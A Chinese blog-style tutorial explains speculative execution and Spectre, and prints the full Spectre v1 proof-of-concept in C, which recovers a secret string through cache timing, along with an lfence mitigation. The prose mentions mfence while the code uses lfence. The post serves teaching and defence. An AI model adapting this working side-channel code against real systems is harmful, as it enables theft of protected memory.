最近比较火的X86 bug, spectre meltdown 以及及其变种,攻击的前提是cpu具有speculative execution 的能力,也就是推测执行的能力。当然现代架构的cpu都具备推测执行的能力了。推测执行的时机有多种,比如在执行分支跳转(jmp)、函数调用(call)时,但是核心就是预取数据。当cpu多次执行一段代码时,就会推测执行,比如说一段代码需要循环执行10次,但是cpu当执行完第10次之后,可能会执行第11次,但是执行第11次的过程中,cpu发现自己做错了,此时就不会commit结果。推测执行,可能产生回滚的动作。
这就要提到一个概念out of order即乱序执行,举个例子吧。假设从北京到济南只有一条高速公路,而且这条高数公路是4车道。此时A,B,C,D同时从北京出发去济南,在北京高速有4个入口,此时A,B,C,D同时上高速,这就是4发射。A,B,C,D在高速上谁前谁后没人在乎,这就是乱序执行。但是到达终点的时候,就出口只有一个入口,即A,B,C,D要排队出。假设顺序是A,B,C,D,只有顺序对了,才正确。为什么在出站的时候要顺序呢?这就涉及到指令之间数据依赖的问题了,本文不做讨论。感兴趣的读者,可以自行去找本计算机体系结构的书来看。乱序执行是导致meltdown的直接原因。
看这个代码块,while(condition){...},大家都应该知道至于condition为true的时候才会执行循环体的代码。但是从cpu底层来讲,由于乱序执行,判断condition的指令和循环体的代码一部分指令同时发射,即在提交的时候判断condition的指令要先出,如果condition为true,本次执行正确就提交了。如果condition为false就不会提交了。但是在condition为false的情况下,cpu确实执行了循环体的一些代码,这就导致一些数据会到cache中。其它代码就可以去猜cache的数据。如果这些数据是一些敏感数据呢?如果是内核状态下的数据呢?
怎样去猜cache里的数据呢?大家应该知道,cpu在读数据的时候,如果cache里有,就会从cache里拿; 如果cache里没有,就从dram里拿。从dram里拿数据花费的时间肯定要比从cache里拿要多。因此判断数据在cache里最好的方法就是判断时间。
下面是一段代码,来猜自己进程的数据,不涉及权限,ring3 猜 ring3的数据,即spectre的一个攻击。如果跨特权级,ring3去猜ring0的数据,即meltdown攻击,原理还要更复杂一点,以后有时间在写。
在windows编译时需要设置为debug模式。猜数据char* secret = "The Magic Words are Squeamish Ossifrage.";
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt", on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
/* sscanf_s only works in MSVC. sscanf should work with other compilers*/
#ifndef _MSC_VER
#define sscanf_s sscanf
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];
char* secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */
void victim_function(size_t x)
{
if (x < array1_size)
{
temp &= array2[array1[x] * 512];
}
}
/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2])
{
static int results[256];
int tries, i, j, k, mix_i;
unsigned int junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t* addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--)
{
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--)
{
_mm_clflush(&array1_size);
for (volatile int z = 0; z < 100; z++)
{
} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++)
{
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++)
{
if (j < 0 || results[i] >= results[j])
{
k = j;
j = i;
}
else if (k < 0 || results[i] >= results[k])
{
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won't get optimized out*/
value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];
}
int main(int argc, const char* * argv)
{
printf("Putting '%s' in memory, address %p\n", secret, (void *)(secret));
size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x */
int score[2], len = strlen(secret);
uint8_t value[2];
for (size_t i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3)
{
sscanf_s(argv[1], "%p", (void * *)(&malicious_x));
malicious_x -= (size_t)array1; /* Convert input value into a pointer */
sscanf_s(argv[2], "%d", &len);
printf("Trying malicious_x = %p, len = %d\n", (void *)malicious_x, len);
}
printf("Reading %d bytes:\n", len);
while (--len >= 0)
{
printf("Reading at malicious_x = %p ... ", (void *)malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X='%c' score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X='%c' score=%d)", value[1],
(value[1] > 31 && value[1] < 127 ? value[1] : '?'),
score[1]);
printf("\n");
}
#ifdef _MSC_VER
printf("Press ENTER to exit\n");
getchar(); /* Pause Windows console */
#endif
return (0);
}
运行结果:
代码分析:
做越界访问的代码段为
void victim_function(size_t x)
{
if (x < array1_size)
{
temp &= array2[array1[x] * 512];
}
}
猜cache数据的代码:
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++)
{
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++)
{
if (j < 0 || results[i] >= results[j])
{
k = j;
j = i;
}
else if (k < 0 || results[i] >= results[k])
{
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
怎样预防这种攻击呢?只需要在关键的地方不让cpu乱序执行就可以了,加一条串行化的指令,mfence就可以了。
void victim_function(size_t x)
{
if (x < array1_size)
{
_mm_lfence();
temp &= array2[array1[x] * 512];
}
}
执行结果:
代码 github : https://github.com/Tinycl/spectre-attack